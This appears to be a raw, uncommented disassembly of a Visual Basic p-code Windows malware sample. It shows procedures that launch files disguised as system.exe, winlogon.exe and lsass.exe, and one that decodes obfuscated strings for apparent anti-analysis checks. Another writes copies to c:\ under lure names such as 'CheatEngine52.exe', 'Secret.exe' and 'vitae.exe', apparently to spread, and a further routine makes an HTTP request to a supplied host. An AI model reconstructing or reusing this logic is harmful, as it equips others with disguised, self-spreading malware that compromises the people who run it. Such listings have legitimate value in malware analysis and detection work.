0040ec1a wReserved uint16 0x0000
0040ec1c wBosSkipTableOff uint16 0x0000
0040ec1e wBaseIfaceSlot uint16 0x0013
0040ec20 wReserved2 uint16 0x0000
0040ec22 wReserved3 uint16 0x0000
0040ec24
0040ec24 14 00 00 00 00 00 02 00 00 00 00 00 ............
0040ec30 6c ff 01 00 74 ff 01 00 2c 00 00 00 00 00 08 00 l...t...,.......
0040ec40 00 00 00 00 7c fe 01 00 4c ff 02 00 2c ff 02 00 ....|...L...,...
0040ec50 0c ff 02 00 ec fe 02 00 cc fe 02 00 ac fe 02 00 ................
0040ec60 8c fe 02 00 ....

0040ec64
0040ec64fn_40ec64:
0040ec64LitVar_Missing var_CC
0040ec67ImpAdCallI2 rtcFreeFile, 4
0040ec6cCVarI2 65316
0040ec6fFStVar 65364
0040ec73FFree1Var var_CC
0040ec76LitStr ""
0040ec79FStStrCopy var_98
0040ec7cFLdRfVar var_E4
0040ec7fFLdRfVar var_E0
0040ec82ImpAdLdRf pool#2
0040ec85NewIfNullPr 3
0040ec88VCallHresult 20, 4
0040ec8dFLdPr var_E0
0040ec90VCallHresult 96, 5
0040ec95LitI4 0
0040ec9aLitI4 0
0040ec9fLitI4 0
0040eca4LitI4 1
0040eca9ILdRf var_E4
0040ecacFLdRfVar var_E8
0040ecafCStr2Ansi
0040ecb0ILdRf var_E8
0040ecb3ImpAdCallI2 fn_407464, 20
0040ecb8FStR4 65300
0040ecbbSetLastSystemError
0040ecbcILdRf var_EC
0040ecbfFStR4 65396
0040ecc2FFreeStr var_E4, var_E8
0040ecc9FFree1Ad var_E0
0040ecccILdRf var_8C
0040eccfLitI4 0
0040ecd4NeI4
0040ecd5BranchF 0x40ed16
0040ecd8LitI4 0
0040ecddLitI4 0x200000
0040ece2LitI4 0
0040ece7LitI4 0
0040ececLitStr "http://"
0040ecefILdI4 arg_C
0040ecf2ConcatStr
0040ecf3FStStrNoPop var_E4
0040ecf6FLdRfVar var_E8
0040ecf9CStr2Ansi
0040ecfaILdRf var_E8
0040ecfdILdRf var_8C
0040ed00ImpAdCallI2 fn_4074fc, 24
0040ed05FStR4 65300
0040ed08SetLastSystemError
0040ed09ILdRf var_EC
0040ed0cFStR4 65380
0040ed0fFFreeStr var_E4, var_E8
0040ed16
0040ed16loc_40ed16:
0040ed16ILdRf var_9C
0040ed19LitI4 0
0040ed1eGtI4
0040ed1fBranchF 0x40eddf
0040ed22
0040ed22loc_40ed22:
0040ed22FLdRfVar var_FC
0040ed25CI4Var
0040ed27PopTmpLdAdStr 65300
0040ed2aFLdRfVar var_94
0040ed2dLdFixedStr 1
0040ed30FStStrNoPop var_E4
0040ed33FnLenStr
0040ed34FLdRfVar var_94
0040ed37LdFixedStr 1
0040ed3aFStStrNoPop var_E8
0040ed3dFLdRfVar var_100
0040ed40CStr2Ansi
0040ed41ILdRf var_100
0040ed44ILdRf var_9C
0040ed47ImpAdCallI2 fn_4073b4, 16
0040ed4cFStI2 -262
0040ed4fSetLastSystemError
0040ed50ILdRf var_100
0040ed53FLdRfVar var_104
0040ed56CStr2Uni
0040ed58ILdRf var_104
0040ed5bFLdRfVar var_94
0040ed5eStFixedStr 1
0040ed61ILdRf var_EC
0040ed64CVarI4 var_BC
0040ed68FStVarCopy 65284
0040ed6cFLdI2 var_106
0040ed6fCBoolUI1
0040ed71FStI2 -146
0040ed74FFreeStr var_E4, var_E8, var_100, var_104
0040ed7fFLdRfVar var_FC
0040ed82LitVarI2 65348, 0
0040ed87HardType
0040ed88GtVarBool
0040ed8aBranchF 0x40edd1
0040ed8dILdI2 arg_10
0040ed90LitI2_Byte -1
0040ed92EqI2
0040ed93BranchF 0x40edb9
0040ed96ILdRf var_98
0040ed99FnLenStr
0040ed9aLitI4 1
0040ed9fEqI4
0040eda0BranchF 0x40edb9
0040eda3ILdRf var_98
0040eda6CR8Str
0040eda8ILdI4 arg_14
0040edabCR8I4
0040edacLeR8
0040edadBranchF 0x40edb9
0040edb0LitStr ""
0040edb3FStStrCopy var_98
0040edb6Branch 0x40ee12
0040edb9
0040edb9loc_40edb9:
0040edb9ILdRf var_98
0040edbcFLdRfVar var_94
0040edbfLdFixedStr 1
0040edc2FStStrNoPop var_E4
0040edc5ConcatStr
0040edc6FStStr var_98
0040edc9FFree1Str var_E4
0040edccImpAdCallFPR4 rtcDoEvents, 0
0040edd1
0040edd1loc_40edd1:
0040edd1FLdRfVar var_FC
0040edd4LitVarI2 65348, 0
0040edd9HardType
0040eddaGtVarBool
0040eddcBranchT 0x40ed22
0040eddf
0040eddfloc_40eddf:
0040eddfLitI4 1
0040ede4ILdRf var_98
0040ede7LitStr "</head>"
0040edeaLitI4 1
0040edefFnInStr4
0040edf1LitI4 0
0040edf6EqI4
0040edf7ILdRf var_98
0040edfaLitStr ""
0040edfdNeStr
0040edffAndI4
0040ee00BranchF 0x40ee0c
0040ee03ILdRf var_98
0040ee06FStStrCopy var_88
0040ee09Branch 0x40ee12
0040ee0c
0040ee0cloc_40ee0c:
0040ee0cLitStr ""
0040ee0fFStStrCopy var_88
0040ee12
0040ee12loc_40ee12:
0040ee12ILdRf var_8C
0040ee15ImpAdCallFPR4 fn_407400, 4
0040ee1aSetLastSystemError
0040ee1bExitProc
0040ec64

0040ee1c
0040ee1c struct ProcDscInfo
0040ee1c lpObjectInfo uint32 0x40397c
0040ee20 wArgSize int 16
0040ee22 wFrameSize int 132
0040ee24 wPCodeBackOffset uint16 0x40ec64
0040ee26 wTotalSize uint16 0x0034
0040ee28 wProcOptFlags uint16 0x0000
0040ee2a wReserved uint16 0x0000
0040ee2c wBosSkipTableOff uint16 0x0000
0040ee2e wBaseIfaceSlot uint16 0x0013
0040ee30 wReserved2 uint16 0x0000
0040ee32 wReserved3 uint16 0x0000
0040ee34
0040ee34 1c 00 00 00 00 00 04 00 00 00 00 01 ............
0040ee40 78 ff 01 00 54 ff 02 00 68 ff 01 00 04 ff 02 00 x...T...h.......
0040ee50 24 00 00 00 00 00 06 00 00 00 00 00 1c ff 01 00 $...............
0040ee60 18 ff 01 00 00 ff 01 00 fc fe 01 00 20 ff 03 00 ............ ...
0040ee70 34 ff 02 00 4...

0040ee74
0040ee74FrmMain.shellbi:
0040ee74FLdRfVar var_88
0040ee77ImpAdLdRf pool#0
0040ee7aNewIfNullPr 1
0040ee7dVCallHresult 88, 2
0040ee82LitI4 1
0040ee87LitStr ""
0040ee8aFLdRfVar var_98
0040ee8dCStr2Ansi
0040ee8eILdRf var_98
0040ee91LitStr ""
0040ee94FLdRfVar var_94
0040ee97CStr2Ansi
0040ee98ILdRf var_94
0040ee9bImpAdLdI4 pool#59
0040ee9eFLdRfVar var_90
0040eea1CStr2Ansi
0040eea2ILdRf var_90
0040eea5LitStr "open"
0040eea8FLdRfVar var_8C
0040eeabCStr2Ansi
0040eeacILdRf var_8C
0040eeafILdRf var_88
0040eeb2ImpAdCallFPR4 fn_405f28, 24
0040eeb7SetLastSystemError
0040eeb8ILdRf var_90
0040eebbImpAdLdRf pool#59
0040eebeCStr2Uni
0040eec0FFreeStr var_8C, var_90, var_94, var_98
0040eecbFLdRfVar var_88
0040eeceImpAdLdRf pool#0
0040eed1NewIfNullPr 1
0040eed4VCallHresult 88, 2
0040eed9LitI4 1
0040eedeLitStr ""
0040eee1FLdRfVar var_98
0040eee4CStr2Ansi
0040eee5ILdRf var_98
0040eee8LitStr ""
0040eeebFLdRfVar var_94
0040eeeeCStr2Ansi
0040eeefILdRf var_94
0040eef2ImpAdLdI4 pool#61
0040eef5FLdRfVar var_90
0040eef8CStr2Ansi
0040eef9ILdRf var_90
0040eefcLitStr "open"
0040eeffFLdRfVar var_8C
0040ef02CStr2Ansi
0040ef03ILdRf var_8C
0040ef06ILdRf var_88
0040ef09ImpAdCallFPR4 fn_405f28, 24
0040ef0eSetLastSystemError
0040ef0fILdRf var_90
0040ef12ImpAdLdRf pool#61
0040ef15CStr2Uni
0040ef17FFreeStr var_8C, var_90, var_94, var_98
0040ef22FLdRfVar var_88
0040ef25ImpAdLdRf pool#0
0040ef28NewIfNullPr 1
0040ef2bVCallHresult 88, 2
0040ef30LitI4 1
0040ef35LitStr ""
0040ef38FLdRfVar var_BC
0040ef3bCStr2Ansi
0040ef3cILdRf var_BC
0040ef3fLitStr ""
0040ef42FLdRfVar var_98
0040ef45CStr2Ansi
0040ef46ILdRf var_98
0040ef49ImpAdLdRf pool#56
0040ef4cLitVarStr var_A8, "\\system.exe"
0040ef51ConcatVar var_B8
0040ef55CStrVarVal 65392
0040ef59FLdRfVar var_94
0040ef5cCStr2Ansi
0040ef5dILdRf var_94
0040ef60LitStr "open"
0040ef63FLdRfVar var_8C
0040ef66CStr2Ansi
0040ef67ILdRf var_8C
0040ef6aILdRf var_88
0040ef6dImpAdCallFPR4 fn_405f28, 24
0040ef72SetLastSystemError
0040ef73FFreeStr var_8C, var_90, var_94, var_98, var_BC
0040ef80FFree1Var var_B8
0040ef83FLdRfVar var_88
0040ef86ImpAdLdRf pool#0
0040ef89NewIfNullPr 1
0040ef8cVCallHresult 88, 2
0040ef91LitI4 1
0040ef96LitStr ""
0040ef99FLdRfVar var_BC
0040ef9cCStr2Ansi
0040ef9dILdRf var_BC
0040efa0LitStr ""
0040efa3FLdRfVar var_98
0040efa6CStr2Ansi
0040efa7ILdRf var_98
0040efaaImpAdLdRf pool#56
0040efadLitVarStr var_A8, "\\winlogon.exe"
0040efb2ConcatVar var_B8
0040efb6CStrVarVal 65392
0040efbaFLdRfVar var_94
0040efbdCStr2Ansi
0040efbeILdRf var_94
0040efc1LitStr "open"
0040efc4FLdRfVar var_8C
0040efc7CStr2Ansi
0040efc8ILdRf var_8C
0040efcbILdRf var_88
0040efceImpAdCallFPR4 fn_405f28, 24
0040efd3SetLastSystemError
0040efd4FFreeStr var_8C, var_90, var_94, var_98, var_BC
0040efe1FFree1Var var_B8
0040efe4FLdRfVar var_88
0040efe7ImpAdLdRf pool#0
0040efeaNewIfNullPr 1
0040efedVCallHresult 88, 2
0040eff2LitI4 1
0040eff7LitStr ""
0040effaFLdRfVar var_BC
0040effdCStr2Ansi
0040effeILdRf var_BC
0040f001LitStr ""
0040f004FLdRfVar var_98
0040f007CStr2Ansi
0040f008ILdRf var_98
0040f00bImpAdLdRf pool#12
0040f00eLitVarStr var_A8, "\\lsass.exe"
0040f013ConcatVar var_B8
0040f017CStrVarVal 65392
0040f01bFLdRfVar var_94
0040f01eCStr2Ansi
0040f01fILdRf var_94
0040f022LitStr "open"
0040f025FLdRfVar var_8C
0040f028CStr2Ansi
0040f029ILdRf var_8C
0040f02cILdRf var_88
0040f02fImpAdCallFPR4 fn_405f28, 24
0040f034SetLastSystemError
0040f035FFreeStr var_8C, var_90, var_94, var_98, var_BC
0040f042FFree1Var var_B8
0040f045ImpAdCallFPR4 rtcDoEvents, 0
0040f04aExitProcHresult
0040ee74

0040f04b
0040f04b struct PCodePad
0040f04b 00 .
0040f04c
0040f04c struct ProcDscInfo
0040f04c lpObjectInfo uint32 0x405168
0040f050 wArgSize int 4
0040f052 wFrameSize int 56
0040f054 wPCodeBackOffset uint16 0x40ee74
0040f056 wTotalSize uint16 0x0024
0040f058 wProcOptFlags uint16 0x0000
0040f05a wReserved uint16 0x0000
0040f05c wBosSkipTableOff uint16 0x0000
0040f05e wBaseIfaceSlot uint16 0x0013
0040f060 wReserved2 uint16 0x0000
0040f062 wReserved3 uint16 0x0000
0040f064
0040f064 0c 00 00 00 00 00 00 00 00 00 00 00 ............
0040f070 24 00 00 00 00 00 06 00 00 00 00 00 74 ff 01 00 $...........t...
0040f080 70 ff 01 00 6c ff 01 00 68 ff 01 00 44 ff 01 00 p...l...h...D...
0040f090 48 ff 02 00 H...

0040f094
0040f094fn_40f094:
0040f094LitI4 0
0040f099LitI4 13
0040f09eFLdRfVar var_1FC
0040f0a1Redim 1, 0, 16, 2176
0040f0abLitVarStr var_A8, "d`j{fzfo}"
0040f0b0FStVarCopyObj var_B8
0040f0b3FLdRfVar var_B8
0040f0b6ImpAdCallI2 pool#1, 4
0040f0bbCVarStr var_20C
0040f0beParmAry1St 65028, 0
0040f0c4LitVarStr var_C8, "'e"
0040f0c9FStVarCopyObj var_D8
0040f0ccFLdRfVar var_D8
0040f0cfImpAdCallI2 pool#1, 4
0040f0d4CVarStr var_21C
0040f0d7ParmAry1St 65028, 1
0040f0ddLitVarStr var_E8, "a}d"
0040f0e2FStVarCopyObj var_F8
0040f0e5FLdRfVar var_F8
0040f0e8ImpAdCallI2 pool#1, 4
0040f0edCVarStr var_22C
0040f0f0ParmAry1St 65028, 2
0040f0f6LitVarStr var_108, "{h{"
0040f0fbFStVarCopyObj var_118
0040f0feFLdRfVar var_118
0040f101ImpAdCallI2 pool#1, 4
0040f106CVarStr var_23C
0040f109ParmAry1St 65028, 3
0040f10fLitVarStr var_128, "s`y"
0040f114FStVarCopyObj var_138
0040f117FLdRfVar var_138
0040f11aImpAdCallI2 pool#1, 4
0040f11fCVarStr var_24C
0040f122ParmAry1St 65028, 4
0040f128LitVarStr var_148, "~~~'"
0040f12dFStVarCopyObj var_158
0040f130FLdRfVar var_158
0040f133ImpAdCallI2 pool#1, 4
0040f138CVarStr var_25C
0040f13bParmAry1St 65028, 5
0040f141LitVarStr var_26C, ".."
0040f146LitI4 6
0040f14bILdRf var_1FC
0040f14eAry1StVarCopy
0040f150LitVarStr var_168, "\x7f`{|z"
0040f155FStVarCopyObj var_178
0040f158FLdRfVar var_178
0040f15bImpAdCallI2 pool#1, 4
0040f160CVarStr var_27C
0040f163ParmAry1St 65028, 7
0040f169LitVarStr var_188, "z|yf{}"
0040f16eFStVarCopyObj var_198
0040f171FLdRfVar var_198
0040f174ImpAdCallI2 pool#1, 4
0040f179CVarStr var_28C
0040f17cParmAry1St 65028, 8
0040f182LitVarStr var_1A8, "DffgDh`e"
0040f187FStVarCopyObj var_1B8
0040f18aFLdRfVar var_1B8
0040f18dImpAdCallI2 pool#1, 4
0040f192CVarStr var_29C
0040f195ParmAry1St 65028, 9
0040f19bLitVarStr var_1C8, "pf|{z`}l"
0040f1a0FStVarCopyObj var_1D8
0040f1a3FLdRfVar var_1D8
0040f1a6ImpAdCallI2 pool#1, 4
0040f1abCVarStr var_2AC
0040f1aeParmAry1St 65028, 10
0040f1b4LitVarStr var_1E8, "pf|{mfdh`g"
0040f1b9FStVarCopyObj var_1F8
0040f1bcFLdRfVar var_1F8
0040f1bfImpAdCallI2 pool#1, 4
0040f1c4CVarStr var_2BC
0040f1c7ParmAry1St 65028, 11
0040f1cdLitVarStr var_2CC, "xxx"
0040f1d2LitI4 12
0040f1d7ILdRf var_1FC
0040f1daAry1StVarCopy
0040f1dcLitVarStr var_2DC, "yyyy"
0040f1e1LitI4 13
0040f1e6ILdRf var_1FC
0040f1e9Ary1StVarCopy
0040f1ebFLdRfVar var_1FC
0040f1eeFLdRfVar var_2EC
0040f1f1ImpAdCallFPR4 rtcArray, 8
0040f1f6FLdRfVar var_1FC
0040f1f9Erase
0040f1faFLdRfVar var_2EC
0040f1fdFStVar 65388
0040f201FFreeVar var_B8, var_D8, var_F8, var_118, var_138, var_158, var_178, var_198, var_1B8, var_1D8, var_1F8
0040f21aLitI2_Byte 0
0040f21cFLdRfVar var_96
0040f21fFLdRfVar var_94
0040f222CRefVarAry
0040f224PopAdLd4
0040f225LitI2_Byte 1
0040f227FnUBound
0040f229CI2I4
0040f22aForI2 64784, 486
0040f230ImpAdCallFPR4 rtcDoEvents, 0
0040f235LitI4 1
0040f23aILdI4 arg_C
0040f23dCVarStr var_C8
0040f240FLdRfVar var_96
0040f243CDargRef 16386
0040f247FLdRfVar var_94
0040f24aVarIndexLdVar 65352, 1
0040f250LitI4 1
0040f255FnInStr4Var 65320
0040f259LitVarI2 65304, 0
0040f25eHardType
0040f25fNeVarBool
0040f261FFreeVar var_B8, var_D8
0040f268BranchF 0x40f272
0040f26bLitVar_TRUE 65368
0040f26eImpAdStVar pool#17
0040f272
0040f272loc_40f272:
0040f272FLdRfVar var_96
0040f275NextI2 64784, 412
0040f27aExitProc
0040f094

0040f27b
0040f27b struct PCodePad
0040f27b d6 .
0040f27c
0040f27c struct ProcDscInfo
0040f27c lpObjectInfo uint32 0x403e7c
0040f280 wArgSize int 8
0040f282 wFrameSize int 620
0040f284 wPCodeBackOffset uint16 0x40f094
0040f286 wTotalSize uint16 0x0028
0040f288 wProcOptFlags uint16 0x0000
0040f28a wReserved uint16 0x0000
0040f28c wBosSkipTableOff uint16 0x0000
0040f28e wBaseIfaceSlot uint16 0x0013
0040f290 wReserved2 uint16 0x0000
0040f292 wReserved3 uint16 0x0000
0040f294
0040f294 10 00 00 00 00 00 01 00 00 00 00 00 ............
0040f2a0 6c ff 02 00 72 00 00 00 00 00 18 00 00 00 00 00 l...r...........
0040f2b0 48 ff 02 00 28 ff 02 00 08 ff 02 00 e8 fe 02 00 H...(...........
0040f2c0 c8 fe 02 00 a8 fe 02 00 88 fe 02 00 68 fe 02 00 ............h...
0040f2d0 48 fe 02 00 28 fe 02 00 08 fe 02 00 f4 fd 02 00 H...(...........
0040f2e0 e4 fd 02 00 d4 fd 02 00 c4 fd 02 00 b4 fd 02 00 ................
0040f2f0 a4 fd 02 00 84 fd 02 00 74 fd 02 00 64 fd 02 00 ........t...d...
0040f300 54 fd 02 00 44 fd 02 00 14 fd 02 00 04 fe 05 01 T...D...........
0040f310 ff ff ce d3 02 00 00 00 ........

0040f318
0040f318fn_40f318:
0040f318ILdI2 arg_14
0040f31bLitI2_Byte 0
0040f31dEqI2
0040f31eBranchF 0x40f3e9
0040f321LitI4 0
0040f326LitI4 9
0040f32bFLdRfVar var_A0
0040f32eRedim 1, 0, 16, 2176
0040f338LitVarStr var_B0, "RealPlayer13-5GOLD.exe"
0040f33dLitI4 0
0040f342ILdRf var_A0
0040f345Ary1StVarCopy
0040f347LitVarStr var_C0, "Icon Cool-Editor 3.4.30315.exe"
0040f34cLitI4 1
0040f351ILdRf var_A0
0040f354Ary1StVarCopy
0040f356LitVarStr var_D0, "CheatEngine52.exe"
0040f35bLitI4 2
0040f360ILdRf var_A0
0040f363Ary1StVarCopy
0040f365LitVarStr var_E0, "framework-4.4.exe"
0040f36aLitI4 3
0040f36fILdRf var_A0
0040f372Ary1StVarCopy
0040f374LitVarStr var_F0, "Vista Transformation Pack 4.0.exe"
0040f379LitI4 4
0040f37eILdRf var_A0
0040f381Ary1StVarCopy
0040f383LitVarStr var_100, "Pack_Vista_Inspirat_1.6.exe"
0040f388LitI4 5
0040f38dILdRf var_A0
0040f390Ary1StVarCopy
0040f392LitVarStr var_110, "DeepUnfreezerU1.6.exe"
0040f397LitI4 6
0040f39cILdRf var_A0
0040f39fAry1StVarCopy
0040f3a1LitVarStr var_120, "Pack_Longhorn_Inspirat_1.6_code32547.exe"
0040f3a6LitI4 7
0040f3abILdRf var_A0
0040f3aeAry1StVarCopy
0040f3b0LitVarStr var_130, "TeamViewer_Setup.exe"
0040f3b5LitI4 8
0040f3baILdRf var_A0
0040f3bdAry1StVarCopy
0040f3bfLitVarStr var_140, "Licence.exe"
0040f3c4LitI4 9
0040f3c9ILdRf var_A0
0040f3ccAry1StVarCopy
0040f3ceFLdRfVar var_A0
0040f3d1FLdRfVar var_150
0040f3d4ImpAdCallFPR4 rtcArray, 8
0040f3d9FLdRfVar var_A0
0040f3dcErase
0040f3ddFLdRfVar var_150
0040f3e0FMemStVar arg_8, 0
0040f3e6Branch 0x40f49f
0040f3e9
0040f3e9loc_40f3e9:
0040f3e9LitI4 0
0040f3eeLitI4 8
0040f3f3FLdRfVar var_A0
0040f3f6Redim 1, 0, 16, 2176
0040f400LitVarStr var_B0, "Pictures.exe"
0040f405LitI4 0
0040f40aILdRf var_A0
0040f40dAry1StVarCopy
0040f40fLitVarStr var_C0, "Secret.exe"
0040f414LitI4 1
0040f419ILdRf var_A0
0040f41cAry1StVarCopy
0040f41eLitVarStr var_D0, "Documents.exe"
0040f423LitI4 2
0040f428ILdRf var_A0
0040f42bAry1StVarCopy
0040f42dLitVarStr var_E0, "Vivid.exe"
0040f432LitI4 3
0040f437ILdRf var_A0
0040f43aAry1StVarCopy
0040f43cLitVarStr var_F0, "update.exe"
0040f441LitI4 4
0040f446ILdRf var_A0
0040f449Ary1StVarCopy
0040f44bLitVarStr var_100, "XXX.exe"
0040f450LitI4 5
0040f455ILdRf var_A0
0040f458Ary1StVarCopy
0040f45aLitVarStr var_110, "cool.exe"
0040f45fLitI4 6
0040f464ILdRf var_A0
0040f467Ary1StVarCopy
0040f469LitVarStr var_120, "vitae.exe"
0040f46eLitI4 7
0040f473ILdRf var_A0
0040f476Ary1StVarCopy
0040f478LitVarStr var_130, "error.exe"
0040f47dLitI4 8
0040f482ILdRf var_A0
0040f485Ary1StVarCopy
0040f487FLdRfVar var_A0
0040f48aFLdRfVar var_150
0040f48dImpAdCallFPR4 rtcArray, 8
0040f492FLdRfVar var_A0
0040f495Erase
0040f496FLdRfVar var_150
0040f499FMemStVar arg_8, 0
0040f49f
0040f49floc_40f49f:
0040f49fFMemLdRf arg_8, 0
0040f4a4CRefVarAry
0040f4a6PopAdLd4
0040f4a7LitI2_Byte 1
0040f4a9FnUBound
0040f4abLitI4 1
0040f4b0AddI4
0040f4b1CI2I4
0040f4b2PopTmpLdAd2 65196
0040f4b5LitI2_Byte -1
0040f4b7PopTmpLdAd2 65198
0040f4baImpAdCallI2 pool#89, 8
0040f4bfCI4UI1
0040f4c0FStR4 65380
0040f4c3LitVarStr var_C0, "c:\\"
0040f4c8FLdRfVar var_9C
0040f4cbCDargRef 16387
0040f4cfFMemLdRf arg_8, 0
0040f4d4VarIndexLdVar 65200, 1
0040f4daConcatVar var_164
0040f4deCStrVarTmp
0040f4dfPopTmpLdAdStr 65176
0040f4e3ImpAdLdRf pool#67
0040f4e6ImpAdCallFPR4 pool#68, 8
0040f4ebFFree1Str var_168
0040f4eeFFreeVar var_150, var_164
0040f4f5LitVarStr var_C0, "c:\\"
0040f4faFLdRfVar var_9C
0040f4fdCDargRef 16387
0040f501FMemLdRf arg_8, 0
0040f506VarIndexLdVar 65200, 1
0040f50cConcatVar var_164
0040f510CStrVarTmp
0040f511PopTmpLdAdStr 65176
0040f515ILdRf arg_10
0040f518ImpAdCallFPR4 pool#91, 8
0040f51dFFree1Str var_168
0040f520FFreeVar var_150, var_164
0040f527LitVarStr var_C0, "c:\\"
0040f52cFLdRfVar var_9C
0040f52fCDargRef 16387
0040f533FMemLdRf arg_8, 0
0040f538VarIndexLdVar 65200, 1
0040f53eConcatVar var_164
0040f542ImpAdCallFPR4 rtcKillFiles, 4
0040f547FFreeVar var_150, var_164
0040f54eExitProcCb 16
0040f318

0040f552
0040f552 struct PCodePad
0040f552 00 00 ..
0040f554
0040f554 struct ProcDscInfo
0040f554 lpObjectInfo uint32 0x4041b8
0040f558 wArgSize int 16
0040f55a wFrameSize int 228
0040f55c wPCodeBackOffset uint16 0x40f318
0040f55e wTotalSize uint16 0x002c
0040f560 wProcOptFlags uint16 0x0000
0040f562 wReserved uint16 0x0000
0040f564 wBosSkipTableOff uint16 0x0000
0040f566 wBaseIfaceSlot uint16 0x0013
0040f568 wReserved2 uint16 0x0000
0040f56a wReserved3 uint16 0x0000
0040f56c
0040f56c 14 00 00 00 ....
0040f570 00 00 02 00 00 00 00 01 6c ff 02 00 68 ff 01 00 ........l...h...
0040f580 22 00 00 00 00 00 04 00 00 00 00 00 98 fe 01 00 "...............
0040f590 b0 fe 02 00 9c fe 02 00 60 ff 05 01 00 00 00 00 ........`.......
0040f5a0 02 00 00 00 ....

0040f5a4
0040f5a4fn_40f5a4:
0040f5a4ILdRf arg_14
0040f5a7FStStrCopy var_98
0040f5aaILdRf arg_18
0040f5adFStStrCopy var_9C
0040f5b0LitI4 0
0040f5b5FStR4 65372
0040f5b8LitI4 0
0040f5bdFStR4 65364
0040f5c0FLdRfVar var_A4
0040f5c3ILdRf var_98
0040f5c6FLdRfVar var_B8
0040f5c9CStr2Ansi
0040f5caILdRf var_B8
0040f5cdILdRf arg_10
0040f5d0ImpAdCallI2 fn_40837c, 12
0040f5d5FStR4 65348
0040f5d8SetLastSystemError
0040f5d9ILdRf var_B8
0040f5dcFLdRfVar var_98
0040f5dfCStr2Uni
0040f5e1ILdRf var_BC
0040f5e4FMemStI4 arg_8, 0
0040f5e9FFree1Str var_B8
0040f5ecILdRf var_A4
0040f5efLitI4 0
0040f5f4EqI4
0040f5f5BranchF 0x40f619
0040f5f8LitVarStr var_CC, ""
0040f5fdFStVarCopy 65388
0040f601ILdRf var_A4
0040f604ImpAdCallI2 fn_408270, 4
0040f609FStR4 65348
0040f60cSetLastSystemError
0040f60dILdRf var_BC
0040f610FMemStI4 arg_8, 0
0040f615ExitProcCb 16
0040f619
0040f619loc_40f619:
0040f619FLdRfVar var_AC
0040f61cLitI4 0
0040f621FLdRfVar var_A8
0040f624LitI4 0
0040f629ILdRf var_9C
0040f62cFLdRfVar var_B8
0040f62fCStr2Ansi
0040f630ILdRf var_B8
0040f633ILdRf var_A4
0040f636ImpAdCallI2 fn_408410, 24
0040f63bFStR4 65348
0040f63eSetLastSystemError
0040f63fILdRf var_B8
0040f642FLdRfVar var_9C
0040f645CStr2Uni
0040f647ILdRf var_BC
0040f64aFMemStI4 arg_8, 0
0040f64fFFree1Str var_B8
0040f652ILdRf var_A4
0040f655LitI4 0
0040f65aEqI4
0040f65bBranchF 0x40f67f
0040f65eLitVarStr var_CC, ""
0040f663FStVarCopy 65388
0040f667ILdRf var_A4
0040f66aImpAdCallI2 fn_408270, 4
0040f66fFStR4 65348
0040f672SetLastSystemError
0040f673ILdRf var_BC
0040f676FMemStI4 arg_8, 0
0040f67bExitProcCb 16
0040f67f
0040f67floc_40f67f:
0040f67fILdRf var_A8
0040f682FStR4 65328
0040f685ILdRf var_D0
0040f688LitI4 1
0040f68dEqI4
0040f68eBranchF 0x40f775
0040f691ILdRf var_AC
0040f694FLdRfVar var_E0
0040f697ImpAdCallFPR4 rtcSpaceVar, 8
0040f69cFLdRfVar var_E0
0040f69fCStrVarTmp
0040f6a0FStStr var_B4
0040f6a3FFree1Var var_E0
0040f6a6FLdRfVar var_AC
0040f6a9ILdRf var_B4
0040f6acFLdRfVar var_E4
0040f6afCStr2Ansi
0040f6b0ILdRf var_E4
0040f6b3LitI4 0
0040f6b8PopTmpLdAdStr 65348
0040f6bbLitI4 0
0040f6c0ILdRf var_9C
0040f6c3FLdRfVar var_B8
0040f6c6CStr2Ansi
0040f6c7ILdRf var_B8
0040f6caILdRf var_A4
0040f6cdImpAdCallI2 fn_408410, 24
0040f6d2FStR4 65304
0040f6d5SetLastSystemError
0040f6d6ILdRf var_B8
0040f6d9FLdRfVar var_9C
0040f6dcCStr2Uni
0040f6deILdRf var_E4
0040f6e1FLdRfVar var_B4
0040f6e4CStr2Uni
0040f6e6ILdRf var_E8
0040f6e9FMemStI4 arg_8, 0
0040f6eeFFreeStr var_B8, var_E4
0040f6f5FMemLdR4 arg_8, 0
0040f6faLitI4 0
0040f6ffNeI4
0040f700BranchF 0x40f70f
0040f703LitVarStr var_CC, ""
0040f708FStVarCopy 65388
0040f70cBranch 0x40f772
0040f70f
0040f70floc_40f70f:
0040f70fLitI4 1
0040f714ILdRf var_B4
0040f717CVarStr var_CC
0040f71aLitI4 0
0040f71fFLdRfVar var_E0
0040f722ImpAdCallFPR4 rtcVarBstrFromAnsi, 8
0040f727FLdRfVar var_E0
0040f72aLitI4 0
0040f72fFnInStr4Var 65288
0040f733CI2Var
0040f734FStI2 -158
0040f737FFreeVar var_E0, var_F8
0040f73eFLdI2 var_9E
0040f741LitI2_Byte 0
0040f743GtI2
0040f744BranchF 0x40f768
0040f747FLdI2 var_9E
0040f74aLitI2_Byte 1
0040f74cSubI2
0040f74dCI4UI1
0040f74eFLdRfVar var_B4
0040f751CVarRef 65332, 16392
0040f756FLdRfVar var_E0
0040f759ImpAdCallFPR4 rtcLeftCharVar, 12
0040f75eFLdRfVar var_E0
0040f761FStVar 65388
0040f765Branch 0x40f772
0040f768
0040f768loc_40f768:
0040f768ILdRf var_B4
0040f76bCVarStr var_CC
0040f76eFStVarCopy 65388
0040f772
0040f772loc_40f772:
0040f772Branch 0x40f7ee
0040f775
0040f775loc_40f775:
0040f775ILdRf var_D0
0040f778LitI4 4
0040f77dEqI4
0040f77eBranchF 0x40f7e5
0040f781LitI4 4
0040f786PopTmpLdAdStr 65348
0040f789FLdRfVar var_B0
0040f78cFLdRfVar var_A8
0040f78fLitI4 0
0040f794ILdRf var_9C
0040f797FLdRfVar var_B8
0040f79aCStr2Ansi
0040f79bILdRf var_B8
0040f79eILdRf var_A4
0040f7a1ImpAdCallI2 fn_408410, 24
0040f7a6FStR4 65304
0040f7a9SetLastSystemError
0040f7aaILdRf var_B8
0040f7adFLdRfVar var_9C
0040f7b0CStr2Uni
0040f7b2ILdRf var_E8
0040f7b5FMemStI4 arg_8, 0
0040f7baFFree1Str var_B8
0040f7bdFMemLdR4 arg_8, 0
0040f7c2LitI4 0
0040f7c7NeI4
0040f7c8BranchF 0x40f7d7
0040f7cbLitVarStr var_CC, ""
0040f7d0FStVarCopy 65388
0040f7d4Branch 0x40f7e2
0040f7d7
0040f7d7loc_40f7d7:
0040f7d7ILdRf var_B0
0040f7daCVarI4 var_CC
0040f7deFStVar 65388
0040f7e2
0040f7e2loc_40f7e2:
0040f7e2Branch 0x40f7ee
0040f7e5
0040f7e5loc_40f7e5:
0040f7e5LitVarStr var_CC, ""
0040f7eaFStVarCopy 65388
0040f7ee
0040f7eeloc_40f7ee:
0040f7eeILdRf var_A4
0040f7f1ImpAdCallI2 fn_408270, 4
